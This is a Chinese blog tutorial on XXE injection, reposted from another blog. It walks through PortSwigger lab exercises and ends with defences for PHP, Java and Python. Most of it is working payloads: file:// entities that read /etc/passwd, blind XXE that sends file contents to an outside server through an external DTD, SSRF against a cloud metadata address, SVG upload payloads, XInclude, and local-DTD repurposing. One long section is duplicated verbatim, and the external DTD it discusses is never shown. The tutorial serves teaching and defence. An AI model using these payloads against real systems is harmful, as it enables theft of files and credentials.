【网络安全】什么是XXE?从0到1完全掌握XXE

前置知识 XML 定义实体

XML 实体允许定义在分析 XML 文档时将由内容替换的标记,这里我的理解就是定义变量,然后赋值的意思一致。就比如一些文件上传的 payload 中就会有。

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的,他就是长得下面这个样子

<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写

<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

而我们必须在 DTD 中创建一个实体,DTD 也就是定义文档类型的文件,一般来说都有<!DOCTYPE这种字样。

一旦解析器处理了 XML 文档,它将用定义的常量“Jo Smith”替换定义的实体&js

大多数情况下,框架会根据 xml 结构自动填充 Java 对象。

通俗一点自己写一段代码的话

示例代码:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

这里 定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样

示例代码:

<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。

【一>所有资源获取<一】
1、很多已经买不到的绝版电子书
2、安全大厂内部的培训资料
3、全套工具包
4、100份src源码技术文档
5、网络安全基础入门、Linux、web安全、攻防方面的视频
6、应急响应笔记
7、 网络安全学习路线
8、ctf夺旗赛解析
9、WEB安全入门笔记

什么是 XXE

个人认为,XXE 可以归结为一句话:构造恶意 DTD

介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞。

既然能插入 XML 代码,那我们肯定不能善罢甘休,我们需要更多,于是出现了 XXE。

XML 外部实体注入,全称为 XML external entity injection,某些应用程序允许 XML 格式的数据输入和解析,可以通过引入外部实体的方式进行攻击。

我们之前在0x01当中所讲的例子均为内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:
示例代码:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人

当然,还有一种引用方式是使用 引用公用 DTD的方法,语法如下:

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

这个在我们的攻击中也可以起到和 SYSTEM 一样的作用

重点二:

我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体),别晕。。

1.通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

示例代码:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

2.参数实体:

(1)使用% 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用%实体名;引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

示例代码:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

参数实体在我们 Blind XXE 中起到了至关重要的作用

XXE 的危害

  • 1.像上文那个 file://xxx 的,很明显可以造成敏感数据泄露。
  • 2.可以利用 XXE 执行 SSRF 攻击。
  • 3.利用盲 XXE 将泄露数据外带;通过报错信息检索数据。
  • 4.XXE 与文件上传结合,造成 getshell。

我们后续慢慢看 XXE 的危害。

XXE 几种攻击方式学习

1. 通过 File 协议进行文件读取

示例代码:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

这里的 firstname 以及 lastname 都是在 XML 文件中解析的,我们尝试自己构造 payload 的话可以是这样

<?xml version='1.0'?>
<!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]>
<comment>
<text>&test;</text>
</comment>

test -> “file:///etc/passwd” 通俗易懂

我们依靠一道靶场来加强一下感受

Lab: Exploiting XXE using external entities to retrieve files
  • 题意:通过 XXE 注入爆出/etc/passwd的内容

进入靶场之后,先点击任意一个商品 - “view details”,再 Check stock 并抓包。

这里的 productId 以及 storeId 是通过 XML 的形式传进来的,尝试通过 File 协议进行文件读取

payload:

<?xml version='1.0'?>
<!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]>
<stockCheck>
<productId>&test;</productId>
<storeId>
4
</storeId>
</stockCheck>

至于为什么会产生这个漏洞,如果想学习代码审计的师傅可以移步至我博客细究一下 代码审计XXE注入 | 芜风

2. XXE 盲注

  • 所谓盲注,就是无回显

XXE 盲注的一般思路,需要使用第三方平台协助攻击。

(1) 基本盲注

以 Port 靶场为例。

Lab: Blind XXE with out-of-band interaction via XML parameter entities

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://d0eh504fzx1hdqnbch9xrbfe056vuk.burpcollaborator.net"> %xxe; ]>
<stockCheck>
	<productId>
		&xxe;
	</productId>
	<storeId>
		1
	</storeId>
</stockCheck>

(2) 多个 DTD 的调用攻击

这里以 PHP 代码为例进行说明

xml.php

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

直接上 payload,并用 payload 加以理解

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]

这是我们对要进行渗透的 payload,有三个参数%remote, %int, %send;后面接的网站 http://ip/test.dtd 是我们挂在服务器/第三方网站的恶意 DTD。我们在这个第三方网站的恶意 DTD 中添加第二层恶意 DTD

test.dtd

接着,%int去调用 test.dtd 当中的 file,这里稍微慢一点,分析一下% int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;;也就是 %file 在前面被定义,而 %file 则是恶意读取了文件,这里可以替换成 /etc/passwd 这类。

如此一来,%int 成为了这个网站的恶意 DTD,在 %int 里面定义了一个 %send 的变量名称。由此,最后一个调用的参数%send就相当于我们在上面一个案例中的基础 payload

<?xml version='1.0'?>
<!DOCTYPE send[<!ENTITY test SYSTEM 'http://ip:9999?p=file:///etc/passwd;'>]>
<comment>
<text>&send;</text>
</comment>

这样,我们三层的 payload 经过抽丝剥茧,变成了一层简单的 payload。
接下来我们来看一道简单的 Port 靶场上的盲注

Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD
  • 题目要求我们爆出 /etc/hostname 的文件

依旧是在 Stock 界面进行抓包,同样是 XML 形式

Port 里面的渗透测试是给我们第三方的服务器的,也就是 exploit server,但是在真正的渗透测试中,如果要测盲注的话,还是需要自己的服务器的。

至于为什么会产生这个漏洞,如果想学习代码审计的师傅可以移步至我博客细究一下 代码审计XXE注入 | 芜风

2. XXE 盲注

  • 所谓盲注,就是无回显

XXE 盲注的一般思路,需要使用第三方平台协助攻击。

(1) 基本盲注

以 Port 靶场为例。

Lab: Blind XXE with out-of-band interaction via XML parameter entities

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://d0eh504fzx1hdqnbch9xrbfe056vuk.burpcollaborator.net"> %xxe; ]>
<stockCheck>
	<productId>
		&xxe;
	</productId>
	<storeId>
		1
	</storeId>
</stockCheck>

(2) 多个 DTD 的调用攻击

这里以 PHP 代码为例进行说明

xml.php

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

直接上 payload,并用 payload 加以理解

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]

这是我们对要进行渗透的 payload,有三个参数%remote, %int, %send;后面接的网站 http://ip/test.dtd 是我们挂在服务器/第三方网站的恶意 DTD。我们在这个第三方网站的恶意 DTD 中添加第二层恶意 DTD

test.dtd

接着,%int去调用 test.dtd 当中的 file,这里稍微慢一点,分析一下% int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;;也就是 %file 在前面被定义,而 %file 则是恶意读取了文件,这里可以替换成 /etc/passwd 这类。

如此一来,%int 成为了这个网站的恶意 DTD,在 %int 里面定义了一个 %send 的变量名称。由此,最后一个调用的参数%send就相当于我们在上面一个案例中的基础 payload

<?xml version='1.0'?>
<!DOCTYPE send[<!ENTITY test SYSTEM 'http://ip:9999?p=file:///etc/passwd;'>]>
<comment>
<text>&send;</text>
</comment>

这样,我们三层的 payload 经过抽丝剥茧,变成了一层简单的 payload。
接下来我们来看一道简单的 Port 靶场上的盲注

Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD
  • 题目要求我们爆出 /etc/hostname 的文件

依旧是在 Stock 界面进行抓包,同样是 XML 形式

Port 里面的渗透测试是给我们第三方的服务器的,也就是 exploit server,但是在真正的渗透测试中,如果要测盲注的话,还是需要自己的服务器的。

比如我们传入:

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [  
<!ELEMENT data (#PCDATA)>  
]>
<data>4</data>

对端口号添加引用符,放置于 Burpsuite Intruder 当中爆破。

靶场:Lab: Exploiting XXE to perform SSRF attacks

常规抓包

构造 payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck>
	<productId>
		&xxe;
	</productId>
	<storeId>
		1
	</storeId>
</stockCheck>

这里 169.254.169.254 是对方服务器的 IP

  • 发包之后,回显是 400,告诉我们 “Invalid product ID: latest”;再进一步添加接口。

一步步添加接口,直至出现回显数据为止,这种 SSRF 只能够读取到文件,个人认为危害性一般。

4. XXE 与文件上传结合

(1) 使用 svg 上传图片

  • SVG 图片是一种基于 XML 语法的图像格式,是一种矢量图。

那么我们结合文件上传的功能,可以在 SVG 中编辑 XML 语句,从而达到 XXE 的攻击效果。

一般的 payload

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">

 <text font-size="16" x="0" y="16">

 &xxe;

 </text>

</svg>

这样一来,我们想要知道的信息就能够被暴露在上传的图片当中,也就是此 SVG 图片中。

Lab: Exploiting XXE via image file upload

前往 blog 的评论区界面,先事先创建好 1.svg,并在 SVG 文件当中编辑如下,作为我们的 payload

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
 <text font-size="16" x="0" y="16">
 &xxe;
 </text>
</svg>

上传后,我们的 SVG 图片中突然多了些许文字,点进去查看即可解题。

(2) 利用 jar:// 协议的攻击

这一段内容参考于 K0rz3n 师傅的文章

jar:// 协议的格式:

jar:{url}!{path}

实例:

jar:http://host/application.jar!/file/within/the/zip

! 后面就是其需要从中解压出的文件

jar 协议处理文件的过程:

(1) 下载 jar/zip 文件到临时文件中
(2) 提取出我们指定的文件
(3) 删除临时文件

因为在 java 中 file:/// 协议可以起到列目录的作用,所以我们能用 file:/// 协议配合 jar:// 协议使用

那我们怎么找到这个临时的文件夹呢?不用想,肯定是通过报错的形式展现,如果我们请求的

jar:http://localhost:9999/jar.zip!/1.php

既然找到了临时文件的路径,我们就要考虑怎么使用这个文件了(或者说怎么让这个文件能更长时间的停留在我们的系统之中,我想到的方式就是sleep())但是还有一个问题,因为我们要利用的时候肯定是在文件没有完全传输成果的时候,因此为了文件的完整性,我考虑在传输前就使用 hex 编辑器在文件末尾添加垃圾字符,这样就能完美的解决这个问题。

5. 利用 XInclude 攻击

利用 XInclude 攻击的方式比起最粗暴的定义DOCTYPE来说更加含蓄些许,当我们无法直接定义DOCTYPE的时候才会转而向 XInclude 攻击;且要求后端采用的是 SOAP 协议。

  • 先说说 SOAP 协议吧,也不难理解。

SOAP 协议在接收到请求后,SOAP 消息必须以 XML 文档的形式返回,所以要以 SOAP 协议作为后端的 Web 界面才会存在 XXE 的隐患。

XInclude 攻击的 payload

<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>

不同的是,这里我们被禁止定义DOCTYPE,所以要对 Web 元素下手。

Lab: Exploiting XInclude to retrieve files

6. 别样的利用方式,复用本地 DTD

这种攻击手段,一般是源于服务器与域名之间存在防火墙,导致数据无法带出。

  • 利用出发点:由于许多包含 DTD 文件的常见 CMS 都是开源的,我们需要寻找要攻击的服务器上的 DTD 文件。

这个方法只需要知道本地DTD文件的路径,并且在该DTD中定义了实体变量并且进行了引用。

比如在ubuntu16.04中,我使用全局搜索得到以下的一些原生dtd文件:

//find / name "*.dtd"
 
/usr/share/sgml/metacity-common/metacity-theme.dtd
/usr/share/sgml/dtd/xml-core/catalog.dtd
/usr/share/sgml/gconf/gconf-1.0.dtd
/usr/share/gdb/syscalls/gdb-syscalls.dtd
/usr/share/djvu/pubtext/DjVuOCR.dtd
/usr/share/djvu/pubtext/DjVuMessages.dtd
/usr/share/djvu/pubtext/DjVuXML-s.dtd
/usr/share/avahi/avahi-service.dtd
/usr/share/glib-2.0/schemas/gschema.dtd
/usr/share/X11/xkb/rules/xkb.dtd
/usr/share/doc/libxml-parser-perl/examples/ctest.dtd
/usr/share/xml/schema/xml-core/tr9401.dtd
/usr/share/xml/schema/xml-core/catalog.dtd
/usr/share/gtksourceview-3.0/language-specs/language.dtd
/usr/share/yelp/dtd/docbookx.dtd
/usr/share/mobile-broadband-provider-info/serviceproviders.2.dtd
/usr/share/libgweather/locations.dtd
/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd

这里使用sip-app_1_0.dtd为例,内容如下。

<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> 
<!ELEMENT pattern (%condition;)> 

构造 payload

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
    <!ENTITY % condition 'aaa)>
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
        %eval;
        %error;
        <!ELEMENT aa (bb'>
    %local_dtd;
]>

这样依赖,我们在调用&local_dtd的时候,会对 condition 实体进行引用,接着会将 condition 内容替换进来。在复用本地 DTD 文件之后,可以重新定义该文件中的一些参数实体引用;从而进一步构造 payload。

这么干讲还是有点太抽象了,我们看一道靶场体验一下。

Lab: Exploiting XXE to retrieve data by repurposing a local DTD
  • 题目要求我们获得 /etc/passwd 的内容,并且告诉了我们本地 DTD 的路径;以及实体类的名称。

直接构造 payload

<!DOCTYPE message 
[ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> 
<!ENTITY % ISOamso ' 
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "
<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval;
%error; '> 
%local_dtd; ]>

剖析 payload

这里我们调用了本地的 dockbookx.dtd,在调用本地的 dockbookx.dtd 的同时,复写了 ISOamso 这一实体类,ISOamso 被调用的时候就执行了我们的恶意命令,从而达到读取文件的效果。

XXE 漏洞的防御

禁用外部实体

这种方式在不同语言中不一样

PHP

libxml_disable_entity_loader(true);

JAVA

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  • 禁用外部实体是防御 XXE 最有效的方式

猜你喜欢

转载自blog.csdn.net/HBohan/article/details/124481905
xxe